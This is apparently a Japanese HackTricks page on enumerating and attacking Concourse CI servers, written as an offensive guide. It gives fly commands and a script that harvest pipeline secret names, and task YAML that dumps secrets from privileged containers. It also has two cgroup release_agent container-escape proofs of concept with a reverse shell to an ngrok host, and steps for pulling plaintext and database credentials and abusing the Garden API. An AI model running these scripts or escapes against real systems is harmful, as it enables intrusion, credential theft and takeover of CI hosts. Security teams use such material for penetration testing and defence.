Concourse Enumeration & Attacks

Concourse 列挙と攻撃

htARTE(HackTricks AWS Red Team Expert)を通じて、ゼロからヒーローまでのAWSハッキングを学びましょう!

HackTricks をサポートする他の方法:

  • HackTricks で企業を宣伝したい場合や HackTricks をPDFでダウンロードしたい場合は、SUBSCRIPTION PLANS をチェックしてください!

  • The PEASS Familyを発見し、独占的な NFTs のコレクションを見つける

  • Discord グループに参加する 💬(https://discord.gg/hRep4RUj7f) または telegram グループ に参加するか、Twitter 🐦 @hacktricks_live をフォローする

  • HackTricks (https://github.com/carlospolop/hacktricks) と HackTricks Cloud の GitHub リポジトリに PR を提出して、あなたのハッキングテクニックを共有する

ユーザーの役割と権限

Concourse には次の 5 つの役割があります:

  • Concourse Admin: この役割はメインチーム(デフォルトの初期 Concourse チーム)の所有者にのみ与えられます。管理者は他のチームを構成できます(例: fly set-team, fly destroy-team...)。この役割の権限は RBAC によって影響を受けません。

  • owner: チームの所有者は、チーム内のすべてを変更できます。

  • member: チームメンバーは、チームのアセット内で読み取りと書き込みができますが、チームの設定を変更することはできません。

  • pipeline-operator: パイプラインオペレーターは、ビルドのトリガリングやリソースのピン留めなどのパイプライン操作を実行できますが、パイプライン構成を更新することはできません。

  • viewer: チームビューアーは、チームとそのパイプラインに**「読み取り専用」アクセス**権限を持ちます。

さらに、owner、member、pipeline-operator、viewer の権限は RBAC を構成することで変更できます(より具体的には、そのアクションを構成できます)。詳細については、https://concourse-ci.org/user-roles.html を参照してください。

Concourse はチーム内にパイプラインをグループ化します。したがって、チームに所属するユーザーはそれらのパイプラインを管理でき、複数のチームが存在する可能性があります。ユーザーは複数のチームに所属し、それぞれのチーム内で異なる権限を持つことができます。

Vars & Credential Manager

YAML 構成では、((_source-name_:_secret-path_._secret-field_)) の構文を使用して値を構成できます。 ドキュメントから: source-name はオプションであり、省略された場合はクラスタ全体の資格情報マネージャが使用されるか、値が静的に提供されます。 オプションの _secret-field_ は、取得したシークレットの中で読み取るフィールドを指定します。省略された場合、資格情報マネージャは、フィールドが存在する場合には取得した資格情報から 'デフォルトフィールド' を読み取ることができます。 さらに、secret-pathsecret-field は、.: のような特殊文字を含む場合は、二重引用符 "..." で囲むことができます。例えば、((source:"my.secret"."field:1")) は、secret-pathmy.secret に、secret-fieldfield:1 に設定します。

静的 Vars

静的 vars はタスクステップで指定できます。

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

引数を使用するか、次の fly 引数 を使用します:

  • -v または --var NAME=VALUE は、文字列 VALUE を変数 NAME の値として設定します。

  • -y または --yaml-var NAME=VALUE は、VALUE をYAMLとして解析し、変数 NAME の値として設定します。

  • -i または --instance-var NAME=VALUE は、VALUE をYAMLとして解析し、インスタンス変数 NAME の値として設定します。パイプラインのグループ化 を参照して、インスタンス変数について詳しく学ぶことができます。

  • -l または --load-vars-from FILE は、FILE を読み込み、値に対する変数名のマッピングを含むYAMLドキュメントを読み込み、すべてを設定します。

資格情報管理

パイプラインで 資格情報マネージャー を指定する方法にはさまざまな方法があります。https://concourse-ci.org/creds.html で詳細を読むことができます。 さらに、Concourse はさまざまな資格情報マネージャーをサポートしています:

Concourse に 書き込みアクセス権 がある場合、Concourse がそれらにアクセスできる必要があるため、シークレットを 外部に持ち出す ジョブを作成できます。

Concourse 列挙

Concourse 環境を列挙するには、まず 有効な資格情報 を収集するか、おそらく .flyrc 構成ファイル内に 認証トークン を見つける必要があります。

ログインと現在のユーザー列挙

  • ログインするには、エンドポイントチーム名 (デフォルトは main)、および ユーザーが所属するチーム を知っている必要があります:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • 設定された ターゲット を取得します:

  • fly targets

  • 設定された ターゲット接続 がまだ 有効 かどうかを取得します:

  • fly -t <target> status

  • 指定されたターゲットに対するユーザーの 役割 を取得します:

  • fly -t <target> userinfo

API トークン はデフォルトで $HOME/.flyrc保存 されます。マシンを略奪すると、そこに資格情報が見つかる可能性があります。

チームとユーザー

  • チームのリストを取得します

  • fly -t <target> teams

  • チーム内の役割を取得します

  • fly -t <target> get-team -n <team-name>

  • ユーザーのリストを取得します

  • fly -t <target> active-users

パイプライン

  • パイプラインを リスト します:

  • fly -t <target> pipelines -a

  • パイプラインの yaml を 取得 します(定義に 機密情報 が含まれている可能性があります):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • すべてのパイプライン 構成変数 を取得します

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • 使用されている すべてのパイプラインのシークレット名 を取得します(ジョブを作成/変更したり、コンテナを乗っ取ったりすることができれば、それらを外部に持ち出すことができます):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

コンテナとワーカー

  • ワーカーのリスト:

  • fly -t <target> workers

  • コンテナのリスト:

  • fly -t <target> containers

  • ビルドのリスト (実行中のものを確認するため):

  • fly -t <target> builds

Concourse攻撃

資格情報の総当たり攻撃

  • admin:admin

  • test:test

シークレットとパラメータの列挙

前のセクションで、パイプラインで使用されているすべてのシークレット名と変数を取得する方法を見ました。変数には機密情報が含まれる可能性がありシークレットの名前は後で盗むために役立ちます。

実行中または最近実行されたコンテナ内のセッション

十分な権限がある場合(メンバー権限以上)、パイプラインとロールをリストして、単に<pipeline>/<job> コンテナ内でセッションを取得できます。

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

これらの権限を持っていると、次のことができるかもしれません:

  • コンテナ内の秘密を盗む

  • ノードに脱出を試みる

  • クラウドメタデータエンドポイントを列挙/悪用する(可能であれば、ポッドおよびノードから)

パイプラインの作成/変更

十分な権限(メンバー権限以上)がある場合、新しいパイプラインを作成/変更することができます。次の例を確認してください:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

新しいパイプラインを変更/作成することで、次のことができます:

  • 秘密情報盗む(エコーして取得するか、コンテナ内に入ってenvを実行することにより)

  • ノード脱出する(特権を与えられた場合 - privileged: true

  • クラウドメタデータエンドポイントを列挙/悪用する(ポッドおよびノードから)

  • 作成したパイプラインを削除する

カスタムタスクの実行

これは前の方法と似ていますが、新しいパイプライン全体を変更/作成する代わりに、カスタムタスクを実行するだけで(おそらくより慎重に行われる)、

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

特権タスクからノードへの脱出

前のセクションでは、concourseで特権タスクを実行する方法を見てきました。これは、dockerコンテナの特権フラグとまったく同じアクセス権をコンテナに与えるわけではありません。たとえば、/dev内のノードファイルシステムデバイスは表示されませんので、脱出はより「複雑」になる可能性があります。

次のPoCでは、いくつかの小さな修正を加えてrelease_agentを使用して脱出します:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

気づいたかもしれませんが、これは単なるregular release_agent escapeで、ノード内のcmdのパスを変更するだけです。

Workerコンテナからノードへの脱出

少しの修正を加えた通常のrelease_agent escapeがこれには十分です:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Webコンテナからノードに脱出

Webコンテナに一部の防御が無効になっていても、それは一般的な特権コンテナとして実行されていない(たとえば、マウントすることはできず、権限も非常に制限されているため、コンテナから脱出する簡単な方法は無効です)。

ただし、ローカル資格情報を平文で保存しています。

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

You cloud use that credentials to web server and privileged container and escape to the node.

In the environment you can also find information to postgresql instance that concourse uses (address, username, password and database among other info):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Gardenサービスの乱用 - 実際の攻撃ではありません

これはサービスに関する興味深いメモですが、localhostでのみリスニングされているため、これらのメモはすでに悪用されている影響を示しません

デフォルトでは、各Concourseワーカーはポート7777でGardenサービスを実行しています。このサービスはWebマスターがワーカーに何を実行するかを指示するために使用されます(イメージをダウンロードし、各タスクを実行します)。これは攻撃者にとってかなり魅力的ですが、いくつかの素晴らしい保護機能があります:

  • ローカルにのみ公開されています(127.0.0.1)し、ワーカーがWebに特別なSSHサービスで認証するとき、Webサーバーが各ワーカー内の各Gardenサービスと通信するためのトンネルが作成されると思われます。

  • Webサーバーは数秒ごとに実行中のコンテナを監視し、予期しないコンテナは削除されます。したがって、カスタムコンテナを実行したい場合は、WebサーバーとGardenサービスの通信改ざんする必要があります。

Concourseワーカーは高いコンテナ権限で実行されます:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

しかし、ノードのファイルシステムがアクセス可能ではなく、仮想デバイスのみが利用可能であるため、/dev デバイスをマウントしたり、release_agent を使用したりするなどのテクニックは機能しません。ノードのプロセスにアクセスできないため、カーネルエクスプロイトを使用せずにノードから脱出することは複雑になります。

前のセクションで特権コンテナから脱出する方法を見てきました。したがって、現在のワーカーによって作成された特権コンテナ内でコマンドを実行できれば、ノードに脱出できる可能性があります。

Concourseを操作している際に気づいたことですが、新しいコンテナが生成されて何かを実行すると、そのコンテナのプロセスはワーカーコンテナからアクセス可能であり、まるでコンテナがその中で新しいコンテナを作成しているかのようです。

実行中の特権コンテナに入る

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

特権コンテナの作成

新しいコンテナを簡単に作成し(ランダムなUIDで実行)、その上で何かを実行できます:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

しかし、Webサーバーは定期的に実行中のコンテナをチェックしており、予期しないコンテナが見つかった場合は削除されます。通信がHTTPで行われているため、通信を改ざんして予期しないコンテナの削除を回避することができます。

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

参考文献

  • https://concourse-ci.org/vars.html

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

最終更新